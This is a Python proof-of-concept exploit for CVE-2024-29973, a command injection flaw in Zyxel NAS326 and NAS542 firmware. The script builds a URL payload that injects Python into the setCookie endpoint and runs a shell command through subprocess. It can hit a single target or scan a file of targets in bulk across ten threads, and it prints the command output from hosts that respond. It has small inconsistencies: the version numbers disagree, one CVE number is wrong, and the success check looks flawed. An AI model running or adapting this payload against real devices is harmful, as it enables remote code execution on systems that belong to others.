""" POC for CVE-2024-29973: Command injection vulnerability in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14) Full details can be found at https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/ POC Author: x.com/MohamedNab1l GitHub: https://github.com/bigb0x/CVE-2024-29973 Usage: single scan: cve-2024-29973.py -u target bulk scan cve-2024-29973.py -f file.txt Version 1.0.2 - Fixed the payload mechanism. Thanks https://github.com/p0et08/CVE-2024-29973 """ import requests import argparse import threading import queue import os from requests.exceptions import RequestException import re from datetime import datetime import urllib3 # Disable SSL Warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) the_version = "1.0.1" # ANSI color codes light_gray_color = '\033[37;1m' dimmed_gray_color = '\033[90m' honey_yellow_color = "\033[38;5;214m" dim_yellow_color = "\033[33;1m" cyan_color = '\033[96m' green_color = '\033[92m' red_color = '\033[31m' light_orange_color = '\033[38;5;214m' reset_color = '\033[0m' def banner(): print(f""" {light_orange_color} ░█▀▀█ ░█──░█ ░█▀▀▀ ── █▀█ █▀▀█ █▀█ ─█▀█─ ── █▀█ ▄▀▀▄ ▄▀▀▄ ▀▀▀█ █▀▀█ ░█─── ─░█░█─ ░█▀▀▀ ▀▀ ─▄▀ █▄▀█ ─▄▀ █▄▄█▄ ▀▀ ─▄▀ ▀▄▄█ ▀▄▄█ ──█─ ──▀▄ ░█▄▄█ ──▀▄▀─ ░█▄▄▄ ── █▄▄ █▄▄█ █▄▄ ───█─ ── █▄▄ ─▄▄▀ ─▄▄▀ ─▐▌─ █▄▄█ -> POC CVE-2024-29973 vulnerability Command injection vulnerability in Zyxel firmware. POC version: {the_version} {reset_color} """) # Log directory and file LOG_DIR = 'logs' LOG_FILE = os.path.join(LOG_DIR, 'scan.log') # Function to create log directory def create_log_dir(): if not os.path.exists(LOG_DIR): os.makedirs(LOG_DIR) print_message('info', f"Log directory created: {LOG_DIR}") # Function to log messages def log_message(message): with open(LOG_FILE, 'a') as log_file: log_file.write(f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - {message}\n") # Function to print messages with ANSI colors def print_message(level, message): if level == 'vulnerable': print(f"{cyan_color}[VLUN] {message}{reset_color}") if level == 'info': print(f"{dimmed_gray_color}[INFO] {message}{reset_color}") elif level == 'success': print(f"{green_color}[VLUN] {message}{reset_color}") elif level == 'warning': print(f"{honey_yellow_color}[WARNING] {message}{reset_color}") elif level == 'error': print(f"{red_color}[ERROR] {message}{reset_color}") log_message(message) # Define the payload # a paths_to_check = "/cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+"+"and+False+or+__import__(\"subprocess\").check_output(\"id\",+shell=True)%23" def make_request(url): try: response = requests.get(url, verify=False) # Skip SSL verification for simplicity if response.status_code == 200: return response.text else: return None except requests.RequestException as e: return None # Function to test a single host def test_host(url): try: fullurl = f"{url}{paths_to_check}" body = make_request(fullurl) if body is not None and 'root:' in body: print_message('vulnerable', f"Vulnerable: {url}") print(body) else: print_message('warning', f"Not Vulnerable: {url}") except requests.RequestException as e: print_message('error', f"Timeout: {url}") # Worker function for threading def worker(queue): while not queue.empty(): url = queue.get() print_message('info', f"Testing {url}") test_host(url) queue.task_done() # Main function def main(): banner() parser = argparse.ArgumentParser(description='Check for CVE-2024-34470 vulnerability.') group = parser.add_mutually_exclusive_group(required=True) group.add_argument('-u', '--url', help='Target URL (e.g., http://example.com)') group.add_argument('-f', '--file', help='File containing list of URLs (one per line)') args = parser.parse_args() create_log_dir() if args.url: print_message('info', f"Testing single target: {args.url}") test_host(args.url) elif args.file: with open(args.file, 'r') as f: urls = [line.strip() for line in f if line.strip()] print_message('info', f"Testing multiple targets from file: {args.file}") url_queue = queue.Queue() for url in urls: url_queue.put(url) threads = [] for _ in range(10): t = threading.Thread(target=worker, args=(url_queue,)) t.start() threads.append(t) for t in threads: t.join() print_message('info', "Scanning complete.") if __name__ == '__main__': main()